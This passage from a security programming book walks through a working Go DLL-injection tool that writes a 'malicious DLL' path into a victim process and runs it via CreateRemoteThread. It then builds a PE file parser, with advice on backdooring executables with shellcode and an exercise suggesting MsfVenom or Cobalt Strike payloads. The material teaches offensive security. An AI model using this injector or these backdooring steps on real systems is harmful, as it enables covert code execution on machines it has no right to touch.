PROCESS_TERMINATE = 0x0001
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_ALL_ACCESS = 0x001F0FFF
)
Listing 12-5: A constants section declaring process access rights (/ch-12 /procInjector/winsys/constants.go)
All the process access rights we defined in Listing 12-5 reconcile with
their respective constant hexadecimal values, which is the format they need
to be in to assign them to a Go variable.
One issue that we’d like to describe prior to reviewing Listing 12-6 is that
most of the following process injection functions, not just OpenProcessHandle(),
will consume a custom object of type Inject and return a value of type error.
The Inject struct object (Listing 12-6) will contain various values that will be
provided to the relevant Windows function via syscall.
type Inject struct {
Pid uint32
DllPath string
DLLSize uint32
Privilege string
RemoteProcHandle uintptr
Lpaddr uintptr
LoadLibAddr uintptr
RThread uintptr
Token TOKEN
}
type TOKEN struct {
tokenHandle syscall.Token
}
Listing 12-6: The Inject struct used to hold certain process injection data types (/ch-12
/procInjector/winsys/models.go)
Listing 12-7 illustrates our first actual function, OpenProcessHandle().
Let’s take a look at the following code block and discuss the various details.
func OpenProcessHandle(i *Inject) error {
u var rights uint32 = PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ
v var inheritHandle uint32 = 0
w var processID uint32 = i.Pid
x remoteProcHandle, _, lastErry := ProcOpenProcess.Callz(
uintptr(rights), // DWORD dwDesiredAccess
uintptr(inheritHandle), // BOOL bInheritHandle
uintptr(processID)) // DWORD dwProcessId
if remoteProcHandle == 0 {
return errors.Wrap(lastErr, `[!] ERROR :
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 273
Can't Open Remote Process. Maybe running w elevated integrity?`)
}
i.RemoteProcHandle = remoteProcHandle
fmt.Printf("[-] Input PID: %v\n", i.Pid)
fmt.Printf("[-] Input DLL: %v\n", i.DllPath)
fmt.Printf("[+] Process handle: %v\n", unsafe.Pointer(i.RemoteProcHandle))
return nil
}
Listing 12-7: The OpenProcessHandle() function used to obtain a process handle (/ch-12
/procInjector/winsys/inject.go)
The code starts by assigning process access rights to the uint32 variable
called rights u. The actual values assigned include PROCESS_CREATE_THREAD,
which allows us to create a thread on our remote process. Following that
is PROCESS_QUERY_INFORMAITON, which gives us the ability to generically query
details about the remote process. The last three process access rights,
PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ, all provide the
access rights to manage the remote process virtual memory.
The next declared variable, inheritHandle v, dictates whether our new
process handle will inherit the existing handle. We pass in 0 to indicate a
Boolean false value, as we want a new process handle. Immediately following
is the processID w variable containing the PID of the victim process. All the
while, we reconcile our variable types with the Windows API documentation,
such that both our declared variables are of type uint32. This pattern contin-
ues until we make the system call by using ProcOpenProcess.Call() z.
The .Call() method consumes a varying number of uintptr values, which,
if we were to look at the Call() function signature, would be declared literally
as …uintptr. Additionally, the return types are designated as uintptr x and
error y. Further, the error type is named lastErr y, which you’ll find refer-
enced in the Windows API documentation, and contains the returned error
value as defined by the actual called function.
Manipulating Memory with the VirtualAllocEx Windows API
Now that we have a remote process handle, we need a means to allocate
virtual memory within the remote process. This is necessary in order to set
aside a region of memory and initialize it prior to writing to it. Let’s build
that out now. Place the function defined in Listing 12-8 immediately after
the function defined in Listing 12-7. (We will continue to append functions,
one after another, as we navigate the process injection code.)
func VirtualAllocEx(i *Inject) error {
var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE
var flProtect uint32 = PAGE_EXECUTE_READWRITE
lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
i.RemoteProcHandle, // HANDLE hProcess
uintptr(nullRef), // LPVOID lpAddress u
uintptr(i.DLLSize), // SIZE_T dwSize
uintptr(flAllocationType), // DWORD flAllocationType
// https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants
前沿信安资讯阵地 公众号:i nf osrc
274 Chapter 12
uintptr(flProtect)) // DWORD flProtect
if lpBaseAddress == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Can't Allocate Memory On Remote Process.")
}
i.Lpaddr = lpBaseAddress
fmt.Printf("[+] Base memory address: %v\n", unsafe.Pointer(i.Lpaddr))
return nil
}
Listing 12-8: Allocating a region of memory in the remote process via VirtualAllocEx (/ch-12/procInjector
/winsys/inject.go)
Unlike the previous OpenProcess() system call, we introduce a new detail
via the nullRef variable u. The nil keyword is reserved by Go for all null
intents. However, it’s a typed value, which means that passing it directly
via a syscall without a type will result in either a runtime error or a type-
conversion error—either way, a bad situation. The fix is simple in this case:
we declare a variable that resolves to a 0 value, such as an integer. The 0
value can now be reliably passed and interpreted as a null value by the
receiving Windows function.
Writing to Memory with the WriteProcessMemory Windows API
Next, we’ll use the WriteProcessMemory() function to write to the remote pro-
cess’s memory region previously initialized using the VirtualAllocEx() func-
tion. In Listing 12-9, we’ll keep things simple by calling a DLL by file path,
rather than writing the entire DLL code into memory.
func WriteProcessMemory(i *Inject) error {
var nBytesWritten *byte
dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) u
if err != nil {
return err
}
writeMem, _, lastErr := ProcWriteProcessMemory.Call(
i.RemoteProcHandle, // HANDLE hProcess
i.Lpaddr, // LPVOID lpBaseAddress
uintptr(unsafe.Pointer(dllPathBytes)), // LPCVOID lpBuffer v
uintptr(i.DLLSize), // SIZE_T nSize
uintptr(unsafe.Pointer(nBytesWritten))) // SIZE_T *lpNumberOfBytesWritten
if writeMem == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Can't write to process memory.")
}
return nil
}
Listing 12-9: Writing the DLL file path to remote process memory (/ch-12 /procInjector/winsys/inject.go)
The first noticeable syscall function is BytePtrFromString() u, which is a
convenience function that consumes a string and returns the base index-0
pointer location of a byte slice, which we’ll assign to dllPathBytes.
Finally, we get to see unsafe.Pointer in action. The third argument to the
ProcWriteProcessMemory.Call is defined within the Windows API specification
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 275
as “lpBuffer—a pointer to the buffer that contains data to be written in the
address space of the specified process.” In order to pass the Go pointer
value defined in dllPathBytes over to the receiving Windows function, we use
unsafe.Pointer to circumvent type conversions. One final point to make here
is that uintptr and unsafe.Pointer v are acceptably safe, since both are being
used inline and without the intent of assigning the return value to a vari-
able for later reuse.
Finding LoadLibraryA with the GetProcessAddress Windows API
Kernel32.dll exports a function called LoadLibraryA(), which is available on
all Windows versions. Microsoft documentation states that LoadLibraryA()
“loads the specified module into the address space of the calling process.
The specified module may cause other modules to be loaded.” We need
to obtain the memory location of LoadLibraryA() before creating a remote
thread necessary to execute our actual process injection. We can do this
with the GetLoadLibAddress() function—one of those supporting functions
mentioned earlier (Listing 12-10).
func GetLoadLibAddress(i *Inject) error {
var llibBytePtr *byte
llibBytePtr, err := syscall.BytePtrFromString("LoadLibraryA") u
if err != nil {
return err
}
lladdr, _, lastErr := ProcGetProcAddress.Callv(
ModKernel32.Handle(), // HMODULE hModule w
uintptr(unsafe.Pointer(llibBytePtr))) // LPCSTR lpProcName x
if &lladdr == nil {
return errors.Wrap(lastErr, "[!] ERROR : Can't get process address.")
}
i.LoadLibAddr = lladdr
fmt.Printf("[+] Kernel32.Dll memory address: %v\n", unsafe.Pointer(ModKernel32.Handle()))
fmt.Printf("[+] Loader memory address: %v\n", unsafe.Pointer(i.LoadLibAddr))
return nil
}
Listing 12-10: Obtaining the LoadLibraryA() memory address by using the GetProcessAddress() Windows
function (/ch-12/procInjector/winsys/inject.go)
We use the GetProcessAddress() Windows function to identify the base
memory address of LoadLibraryA() necessary to call the CreateRemoteThread()
function. The ProcGetProcAddress.Call() v function takes two arguments: the
first is a handle to Kernel32.dll w that contains the exported function we’re
interested in (LoadLibraryA()), and the second is the base index-0 pointer loca-
tion x of a byte slice returned from the literal string "LoadLibraryA" u.
Executing the Malicious DLL Using the CreateRemoteThread Windows API
We’ll use the CreateRemoteThread() Windows function to create a thread
against the remote process’ virtual memory region. If that region happens
前沿信安资讯阵地 公众号:i nf osrc
276 Chapter 12
to be LoadLibraryA(), we now have a means to load and execute the region
of memory containing the file path to our malicious DLL. Let’s review the
code in Listing 12-11.
func CreateRemoteThread(i *Inject) error {
var threadId uint32 = 0
var dwCreationFlags uint32 = 0
remoteThread, _, lastErr := ProcCreateRemoteThread.Callu(
i.RemoteProcHandle, // HANDLE hProcess v
uintptr(nullRef), // LPSECURITY_ATTRIBUTES lpThreadAttributes
uintptr(nullRef), // SIZE_T dwStackSize
i.LoadLibAddr, // LPTHREAD_START_ROUTINE lpStartAddress w
i.Lpaddr, // LPVOID lpParameter x
uintptr(dwCreationFlags), // DWORD dwCreationFlags
uintptr(unsafe.Pointer(&threadId)), // LPDWORD lpThreadId
)
if remoteThread == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Can't Create Remote Thread.")
}
i.RThread = remoteThread
fmt.Printf("[+] Thread identifier created: %v\n", unsafe.Pointer(&threadId))
fmt.Printf("[+] Thread handle created: %v\n", unsafe.Pointer(i.RThread))
return nil
}
Listing 12-11: Executing the process injection by using the CreateRemoteThread() Windows function (/ch-12
/procInjector/winsys/inject.go)
The ProcCreateRemoteThread.Call() u function takes a total of seven
arguments, although we’ll use only three of them in this example. The
relevant arguments are RemoteProcHandle v containing the victim process’s
handle, LoadLibAddr w containing the start routine to be called by the thread
(in this case, LoadLibraryA()), and, lastly, the pointer x to the virtually
allocated memory holding the payload location.
Verifying Injection with the WaitforSingleObject Windows API
We’ll use the WaitforSingleObject() Windows function to identify when a
particular object is in a signaled state. This is relevant to process injection
because we want to wait for our thread to execute in order to avoid bailing
out prematurely. Let’s briefly discuss the function definition in Listing 12-12.
func WaitForSingleObject(i *Inject) error {
var dwMilliseconds uint32 = INFINITE
var dwExitCode uint32
rWaitValue, _, lastErr := ProcWaitForSingleObject.Call( u
i.RThread, // HANDLE hHandle
uintptr(dwMilliseconds)) // DWORD dwMilliseconds
if rWaitValue != 0 {
return errors.Wrap(lastErr, "[!] ERROR : Error returning thread wait state.")
}
success, _, lastErr := ProcGetExitCodeThread.Call( v
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 277
i.RThread, // HANDLE hThread
uintptr(unsafe.Pointer(&dwExitCode))) // LPDWORD lpExitCode
if success == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Error returning thread exit code.")
}
closed, _, lastErr := ProcCloseHandle.Call(i.RThread) // HANDLE hObject w
if closed == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Error closing thread handle.")
}
return nil
}
Listing 12-12: Using the WaitforSingleObject() Windows function to ensure successful thread execution
(/ch-12/procInjector/winsys/inject.go)
Three notable events are occurring in this code block. First, the
ProcWaitForSingleObject.Call() system call u is passed the thread handle
returned in Listing 12-11. A wait value of INFINITE is passed as the second
argument to declare an infinite expiration time associated with the event.
Next, ProcGetExitCodeThread.Call() v determines whether the thread
terminated successfully. If it did, the LoadLibraryA function should have
been called, and our DLL will have been executed. Finally, as we do for
the responsible cleanup of almost any handle, we passed the ProcCloseHandle
.Call() system call w so that that thread object handle closes cleanly.
Cleaning Up with the VirtualFreeEx Windows API
We use the VirtualFreeEx() Windows function to release, or decommit, the
virtual memory that we allocated in Listing 12-8 via VirtualAllocEx(). This is
necessary to clean up memory responsibly, since initialized memory regions
can be rather large, considering the overall size of the code being injected
into the remote process, such as an entire DLL. Let’s take a look at this
block of code (Listing 12-13).
func VirtualFreeEx(i *Inject) error {
var dwFreeType uint32 = MEM_RELEASE
var size uint32 = 0 //Size must be 0 to MEM_RELEASE all of the region
rFreeValue, _, lastErr := ProcVirtualFreeEx.Callu(
i.RemoteProcHandle, // HANDLE hProcess v
i.Lpaddr, // LPVOID lpAddress w
uintptr(size), // SIZE_T dwSize x
uintptr(dwFreeType)) // DWORD dwFreeType y
if rFreeValue == 0 {
return errors.Wrap(lastErr, "[!] ERROR : Error freeing process memory.")
}
fmt.Println("[+] Success: Freed memory region")
return nil
}
Listing 12-13: Freeing virtual memory by using the VirtualFreeEx() Windows function (/ch-12/procInjector
/winsys/inject.go)
前沿信安资讯阵地 公众号:i nf osrc
278 Chapter 12
The ProcVirtualFreeEx.Call() function u takes four arguments. The
first is the remote process handle v associated with the process that is to
have its memory freed. The next argument is a pointer w to the location
of memory to be freed.
Notice that a variable named size x is assigned a 0 value. This is nec-
essary, as defined within the Windows API specification, to release the
entire region of memory back into a reclaimable state. Finally, we pass the
MEM_RELEASE operation y to completely free the process memory (and our
discussion on process injection).
Additional Exercises
Like many of the other chapters in this book, this chapter will provide the
most value if you code and experiment along the way. Therefore, we con-
clude this section with a few challenges or possibilities to expand upon the
ideas already covered:
•
One of the most important aspects of creating code injection is main-
taining a usable tool chain sufficient for inspecting and debugging
process execution. Download and install both the Process Hacker and
Process Monitor tools. Then, using Process Hacker, locate the memory
addresses of both Kernel32 and LoadLibrary. While you’re at it, locate the
process handle and take a look at the integrity level, along with inher-
ent privileges. Now inject your code into the same victim process and
locate the thread.
•
You can expand the process injection example to be less trivial. For
example, instead of loading the payload from a disk file path, use
MsfVenom or Cobalt Strike to generate shellcode and load it directly
into process memory. This will require you to modify VirtualAllocEx
and LoadLibrary.
•
Create a DLL and load the entire contents into memory. This is simi-
lar to the previous exercise: the exception is that you’ll be loading an
entire DLL rather than shellcode. Use Process Monitor to set a path
filter, process filter, or both, and observe the system DLL load order.
What prevents DLL load order hijacking?
•
You can use a project called Frida (https://www.frida.re/) to inject the
Google Chrome V8 JavaScript engine into the victim process. It has a
strong following with mobile security practitioners as well as develop-
ers: you can use it to perform runtime analysis, in-process debugging,
and instrumentation. You can also use Frida with other operating sys-
tems, such as Windows. Create your own Go code, inject Frida into a
victim process, and use Frida to run JavaScript within the same process.
Becoming familiar with the way Frida works will require some research,
but we promise it’s well worth it.
Windows System Interaction and Analysis 279
The Portable Executable File
Sometimes we need a vehicle to deliver our malicious code. This could be a
newly minted executable (delivered through an exploit in preexisting code),
or a modified executable that already exists on the system, for example. If
we wanted to modify an existing executable, we would need to understand
the structure of the Windows Portable Executable (PE) file binary data format,
as it dictates how to construct an executable, along with the executable’s
capabilities. In this section, we’ll cover both the PE data structure and Go’s
PE package, and build a PE binary parser, which you can use to navigate
the structure of a PE binary.
Understanding the PE File Format
First, let’s discuss the PE data structure format. The Windows PE file format
is a data structure most often represented as an executable, object code,
or a DLL. The PE format also maintains references for all resources used
during the initial operating system loading of the PE binary, including the
export address table (EAT) used to maintain exported functions by ordinal,
the export name table used to maintain exported functions by name, the
import address table (IAT), import name table, thread local storage, and
resource management, among other structures. You can find the PE for-
mat specification at https://docs.microsoft.com/en-us/windows/win32/debug
/pe-format/. Figure 12-6 shows the PE data structure: a visual representation
of a Windows binary.
COFF file header
Section table
DOS stub
DOS header
Signature 0x5a4d
PE header PTR 0x3c
Standard fields
Data directories
Windows-spec fields
Optional header 32-bit
Optional header 64-bit
Figure 12-6: The Windows PE file format
We will examine each of these top-down sections as we build out the
PE parser.
280 Chapter 12
Writing a PE Parser
Throughout the following sections, we will write the individual parser
components necessary to analyze each PE section within the Windows
binary executable. As an example, we’ll use the PE format associated with
the Telegram messaging application binary located at https://telegram.org,
since this app is both less trivial than the often overused putty SSH binary
example, and is distributed as a PE format. You can use almost any Windows
binary executable, and we encourage you to investigate others.
Loading the PE binary and File I/O
In Listing 12-14, we’ll start by using the Go PE package to prepare the
Telegram binary for further parsing. You can place all the code that we
create when writing this parser in a single file within a main() function.
import (
u "debug/pe"
"encoding/binary"
"fmt"
"io"
"log"
"os"
)
func main() {
v f, err := os.Open("Telegram.exe")
check(err)
w pefile, err := pe.NewFile(f)
check(err)
defer f.Close()
defer pefile.Close()
Listing 12-14: File I/O for PE binary (/ch-12/peParser /main.go)
Prior to reviewing each of the PE structure components, we need to
stub out the initial import u and file I/O by using the Go PE package. We
use os.Open() v and then pe.NewFile() w to create a file handle and a PE file
object, respectively. This is necessary because we intend to parse the PE file
contents by using a Reader object, such as a file or binary reader.
Parsing the DOS Header and the DOS Stub
The first section of the top-down PE data structure illustrated in Figure 12-6
starts with a DOS header. The following unique value is always present within
any Windows DOS-based executable binary: 0x4D 0x5A (or MZ in ASCII), which
aptly declares the file as a Windows executable. Another value universally
present on all PE files is located at offset 0x3C. The value at this offset points
to another offset containing the signature of a PE file: aptly, 0x50 0x45 0x00
0x00 (or PE in ASCII).
Windows System Interaction and Analysis 281
The header that immediately follows is the DOS Stub, which always pro-
vides the hex values for This program cannot be run in DOS mode; the exception
to this occurs when a compiler’s /STUB linker option provides an arbitrary string
value. If you take your favorite hex editor and open the Telegram application,
it should be similar to Figure 12-7. All of these values are present.
Figure 12-7: A typical PE binary format file header
So far, we have described the DOS Header and Stub while also looking at
the hexadecimal representation through a hex editor. Now, let’s take a look at
parsing those same values with Go code, as provided in Listing 12-15.
dosHeader := make([]byte, 96)
sizeOffset := make([]byte, 4)
// Dec to Ascii (searching for MZ)
_, err = f.Read(dosHeader) u
check(err)
fmt.Println("[-----DOS Header / Stub-----]")
fmt.Printf("[+] Magic Value: %s%s\n", string(dosHeader[0]), string(dosHeader[1])) v
// Validate PE+0+0 (Valid PE format)
pe_sig_offset := int64(binary.LittleEndian.Uint32(dosHeader[0x3c:])) w
f.ReadAt(sizeOffset[:], pe_sig_offset) x
fmt.Println("[-----Signature Header-----]")
fmt.Printf("[+] LFANEW Value: %s\n", string(sizeOffset))
/* OUTPUT
[-----DOS Header / Stub-----]
[+] Magic Value: MZ
[-----Signature Header-----]
[+] LFANEW Value: PE
*/
Listing 12-15: Parsing the DOS Header and Stub values (/ch-12/peParser /main.go)
282 Chapter 12
Starting from the beginning of the file, we use a Go file Reader u
instance to read 96 bytes onward in order to confirm the initial binary
signature v. Recall that the first 2 bytes provide the ASCII value MZ. The
PE package offers convenience objects to help marshal PE data structures
into something more easily consumable. It will, however, still require man-
ual binary readers and bitwise functionality to get it there. We perform a
binary read of the offset value w referenced at 0x3c, and then read exactly
4 bytes x composed of the value 0x50 0x45 (PE) followed by 2 0x00 bytes.
Parsing the COFF File Header
Continuing down the PE file structure, and immediately following the DOS
Stub, is the COFF File Header. Let’s parse the COFF File Header by using
the code defined in Listing 12-16, and then discuss some of its more inter-
esting properties.
// Create the reader and read COFF Header
u sr := io.NewSectionReader(f, 0, 1<<63-1)
v _, err := sr.Seek(pe_sig_offset+4, os.SEEK_SET)
check(err)
w binary.Read(sr, binary.LittleEndian, &pefile.FileHeader)
Listing 12-16: Parsing the COFF File Header (/ch-12 /peParser/main.go)
We create a new SectionReader u that starts from the beginning of the
file at position 0 and reads to the max value of an int64. Then the sr.Seek()
function v resets the position to start reading immediately, following the
PE signature offset and value (recall the literal values PE + 0x00 + 0x00).
Finally, we perform a binary read w to marshal the bytes into the pefile
object’s FileHeader struct. Recall that we created pefile earlier when we
called pe.Newfile().
The Go documentation defines type FileHeader with the struct defined
in Listing 12-17. This struct aligns quite well with Microsoft’s documented
PE COFF File Header format (defined at https://docs.microsoft.com/en-us
/windows/win32/debug/pe-format#coff-file-header-object-and-image).
type FileHeader struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
Listing 12-17: The Go PE package’s native PE File Header struct
The single item to note in this struct outside of the Machine value (in
other words, the PE target system architecture), is the NumberOfSections
property. This property contains the number of sections defined within
Windows System Interaction and Analysis 283
the Section Table, which immediately follows the headers. You’ll need to
update the NumberOfSections value if you intend to backdoor a PE file by add-
ing a new section. However, other strategies may not require updating this
value, such as searching other executable sections (such as CODE, .text, and
so on) for contiguous unused 0x00 or 0xCC values (a method to locate sec-
tions of memory that you can use to implant shellcode), as the number of
sections remain unchanged.
In closing, you can use the following print statements to output some of
the more interesting COFF File Header values (Listing 12-18).
// Print File Header
fmt.Println("[-----COFF File Header-----]")
fmt.Printf("[+] Machine Architecture: %#x\n", pefile.FileHeader.Machine)
fmt.Printf("[+] Number of Sections: %#x\n", pefile.FileHeader.NumberOfSections)
fmt.Printf("[+] Size of Optional Header: %#x\n", pefile.FileHeader.SizeOfOptionalHeader)
// Print section names
fmt.Println("[-----Section Offsets-----]")
fmt.Printf("[+] Number of Sections Field Offset: %#x\n", pe_sig_offset+6) u
// this is the end of the Signature header (0x7c) + coff (20bytes) + oh32 (224bytes)
fmt.Printf("[+] Section Table Offset: %#x\n", pe_sig_offset+0xF8)
/* OUTPUT
[-----COFF File Header-----]
[+] Machine Architecture: 0x14c v
[+] Number of Sections: 0x8 w
[+] Size of Optional Header: 0xe0 x
[-----Section Offsets-----]
[+] Number of Sections Field Offset: 0x15e y
[+] Section Table Offset: 0x250 z
*/
Listing 12-18: Writing COFF File Header values to terminal output (/ch-12 /peParser/main.go)
You can locate the NumberOfSections value by calculating the offset of
the PE signature + 4 bytes + 2 bytes—in other words, by adding 6 bytes. In
our code, we already defined pe_sig_offset, so we’d just add 6 bytes to that
value u. We’ll discuss sections in more detail when we examine the Section
Table structure.
The produced output describes the Machine Architecture v value of
0x14c: an IMAGE_FILE_MACHINE_I386 as detailed in https://docs.microsoft.com/en-us
/windows/win32/debug/pe-format#machine-types. The number of sections w is
0x8, dictating that eight entries exist within the Section Table. The Optional
Header (which will be discussed next) has a variable length depending on
architecture: the value is 0xe0 (224 in decimal), which corresponds to a 32-bit
system x. The last two sections can be considered more of convenience out-
put. Specifically, the Sections Field Offset y provides the offset to the num-
ber of sections, while the Section Table Offset z provides the offset for the
location of the Section Table. Both offset values would require modification
if adding shellcode, for example.
284 Chapter 12
Parsing the Optional Header
The next header in the PE file structure is the Optional Header. An execut-
able binary image will have an Optional Header that provides important
data to the loader, which loads the executable into virtual memory. A lot
of data is contained within this header, so we’ll cover only a few items in
order to get you used to navigating this structure.
To get started, we need to perform a binary read of the relevant byte
length based on architecture, as described in Listing 12-19. If you were writing
more comprehensive code, you’d want to check architectures (for example, x86
versus x86_64) throughout in order to use the appropriate PE data structures.
// Get size of OptionalHeader
u var sizeofOptionalHeader32 = uint16(binary.Size(pe.OptionalHeader32{}))
v var sizeofOptionalHeader64 = uint16(binary.Size(pe.OptionalHeader64{}))
w var oh32 pe.OptionalHeader32
x var oh64 pe.OptionalHeader64
// Read OptionalHeader
switch pefile.FileHeader.SizeOfOptionalHeader {
case sizeofOptionalHeader32:
y binary.Read(sr, binary.LittleEndian, &oh32)
case sizeofOptionalHeader64:
binary.Read(sr, binary.LittleEndian, &oh64)
}
Listing 12-19: Reading the Optional Header bytes (/ch-12/peParser/main.go)
In this code block, we’re initializing two variables, sizeOfOptionalHeader32 u
and sizeOfOptionalHeader64 v, with 224 bytes and 240 bytes, respectively. This
is an x86 binary, so we’ll use the former variable in our code. Immediately
following the variable declarations are initializations of pe.OptionalHeader32 w
and pe.OptionalHeader64 x interfaces, which will contain the OptionalHeader
data. Finally, we perform the binary read y and marshal it to the relevant
data structure: the oh32 based on a 32-bit binary.
Let’s describe some of the more notable items of the Optional Header.
The corresponding print statements and subsequent output are provided in
Listing 12-20.
// Print Optional Header
fmt.Println("[-----Optional Header-----]")
fmt.Printf("[+] Entry Point: %#x\n", oh32.AddressOfEntryPoint)
fmt.Printf("[+] ImageBase: %#x\n", oh32.ImageBase)
fmt.Printf("[+] Size of Image: %#x\n", oh32.SizeOfImage)
fmt.Printf("[+] Sections Alignment: %#x\n", oh32.SectionAlignment)
fmt.Printf("[+] File Alignment: %#x\n", oh32.FileAlignment)
fmt.Printf("[+] Characteristics: %#x\n", pefile.FileHeader.Characteristics)
fmt.Printf("[+] Size of Headers: %#x\n", oh32.SizeOfHeaders)
fmt.Printf("[+] Checksum: %#x\n", oh32.CheckSum)
fmt.Printf("[+] Machine: %#x\n", pefile.FileHeader.Machine)
fmt.Printf("[+] Subsystem: %#x\n", oh32.Subsystem)
fmt.Printf("[+] DLLCharacteristics: %#x\n", oh32.DllCharacteristics)
Windows System Interaction and Analysis 285
/* OUTPUT
[-----Optional Header-----]
[+] Entry Point: 0x169e682 u
[+] ImageBase: 0x400000 v
[+] Size of Image: 0x3172000 w
[+] Sections Alignment: 0x1000 x
[+] File Alignment: 0x200 y
[+] Characteristics: 0x102
[+] Size of Headers: 0x400
[+] Checksum: 0x2e41078
[+] Machine: 0x14c
[+] Subsystem: 0x2
[+] DLLCharacteristics: 0x8140
*/
Listing 12-20: Writing Optional Header values to terminal output (/ch-12 /peParser/main.go)
Assuming that the objective is to backdoor a PE file, you’ll need to know
both the ImageBase v and Entry Point u in order to hijack and memory jump
to the location of the shellcode or to a new section defined by the number of
Section Table entries. The ImageBase is the address of the first byte of the image
once it is loaded into memory, whereas the Entry Point is the address of the
executable code relative to the ImageBase. The Size of Image w is the actual
size of the image, in its entirety, when loaded into memory. This value will
need to be adjusted to accommodate any increase in image size, which could
happen if you added a new section containing shellcode.
The Sections Alignment x will provide the byte alignment when sec-
tions are loaded into memory: 0x1000 is a rather standard value. The File
Alignment y provides the byte alignment of the sections on raw disk: 0x200
(512K) is also a common value. You’ll need to modify these values in order
to get working code, and you’ll have to use a hex editor and a debugger if
you’re planning to perform all this manually.
The Optional Header contains numerous entries. Instead of describing
every single one of them, we recommend that you explore the documentation
at https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header
-windows-specific-fields-image-only to gain a comprehensive understanding of
each entry.
Parsing the Data Directory
At runtime, the Windows executable must know important information,
such as how to consume a linked DLL or how to allow other application
processes to consume resources that the executable has to offer. The
binary also needs to manage granular data, such as thread storage. This
is the primary function of the Data Directory.
The Data Directory is the last 128 bytes of the Optional Header and
pertains specifically to a binary image. We use it to maintain a table of
references containing both an individual directory’s offset address to the
data location and the size of the data. Exactly 16 directory entries are
defined within the WINNT.H header, which is a core Windows header file
286 Chapter 12
that defines various data types and constants to be used throughout the
Windows operating system.
Note that not all of the directories are in use, as some are reserved or
unimplemented by Microsoft. The entire list of data directories and details
of their intended use can be referenced at https://docs.microsoft.com/en-us
/windows/win32/debug/pe-format#optional-header-data-directories-image-only.
Again, a lot of information is associated with each individual directory, so
we recommend you take some time to really research and get familiar with
their structures.
Let’s explore a couple of directory entries within the Data Directory by
using the code in Listing 12-21.
// Print Data Directory
fmt.Println("[-----Data Directory-----]")
var winnt_datadirs = []string{ u
"IMAGE_DIRECTORY_ENTRY_EXPORT",
"IMAGE_DIRECTORY_ENTRY_IMPORT",
"IMAGE_DIRECTORY_ENTRY_RESOURCE",
"IMAGE_DIRECTORY_ENTRY_EXCEPTION",
"IMAGE_DIRECTORY_ENTRY_SECURITY",
"IMAGE_DIRECTORY_ENTRY_BASERELOC",
"IMAGE_DIRECTORY_ENTRY_DEBUG",
"IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
"IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
"IMAGE_DIRECTORY_ENTRY_TLS",
"IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
"IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
"IMAGE_DIRECTORY_ENTRY_IAT",
"IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
"IMAGE_NUMBEROF_DIRECTORY_ENTRIES",
}
for idx, directory := range oh32.DataDirectory { v
fmt.Printf("[!] Data Directory: %s\n", winnt_datadirs[idx])
fmt.Printf("[+] Image Virtual Address: %#x\n", directory.VirtualAddress)
fmt.Printf("[+] Image Size: %#x\n", directory.Size)
}
/* OUTPUT
[-----Data Directory-----]
[!] Data Directory: IMAGE_DIRECTORY_ENTRY_EXPORT w
[+] Image Virtual Address: 0x2a7b6b0 x
[+] Image Size: 0x116c y
[!] Data Directory: IMAGE_DIRECTORY_ENTRY_IMPORT z
[+] Image Virtual Address: 0x2a7c81c
[+] Image Size: 0x12c
--snip--
*/
Listing 12-21: Parsing the Data Directory for address offset and size ( /ch-12/peParser/main.go)
The Data Directory list u is statically defined by Microsoft, meaning
that the literal individual directory names will remain in a consistently
ordered list. As such, they are considered to be constants. We will use a
Windows System Interaction and Analysis 287
slice variable, winnt_datadirs, to store the individual directory entries so we
can reconcile names to index positions. Specifically, the Go PE package
implements the Data Directory as a struct object, so we’re required to iter-
ate over each entry to extract the individual directory entries, along with
their respective address offset and size attributes. The for loop is 0-index
based, so we just output each slice entry relative to its index position v.
The directory entries being displayed to standard output are the IMAGE
_DIRECTORY_ENTRY_EXPORT w, or the EAT, and the IMAGE_DIRECTORY_ENTRY_IMPORT z,
or the IAT. Each of these directories maintains a table of exported and
imported functions, respectively, relative to the running Windows execut-
able. Looking further at IMAGE_DIRECTORY_ENTRY_EXPORT, you will see the virtual
address x containing the offset of the actual table data, along with the
size y of the data contained within.
Parsing the Section Table
The Section Table, the last PE byte structure, immediately follows the Optional
Header. It contains the details of each relevant section in the Windows execut-
able binary, such as executable code and initialized data location offsets. The
number of entries matches the NumberOfSections defined within the COFF File
Header. You can locate the Section Table at the PE signature offset + 0xF8.
Let’s take a look at this section within a hex editor (Figure 12-8).
Figure 12-8: The Section Table, as observed using a hex editor
This particular Section Table starts with .text, but it might start with
a CODE section, depending on the binary’s compiler. The .text (or CODE)
section contains the executable code, whereas the next section, .rodata,
contains read-only constant data. The .rdata section contains resource
data, and the .data section contains initialized data. Each section is at least
40 bytes in length.
You can access the Section Table within the COFF File Header. You can
also access each section individually, using the code in Listing 12-22.
288 Chapter 12
s := pefile.Section(".text")
fmt.Printf("%v", *s)
/* Output
{{.text 25509328 4096 25509376 1024 0 0 0 0 1610612768} [] 0xc0000643c0 0xc0000643c0}
*/
Listing 12-22: Parsing a specific section from the Section Table (/ch-12 /peParser/main.go)
The other option is to iterate over the entire Section Table, as shown in
Listing 12-23.
fmt.Println("[-----Section Table-----]")
for _, section := range pefile.Sections { u
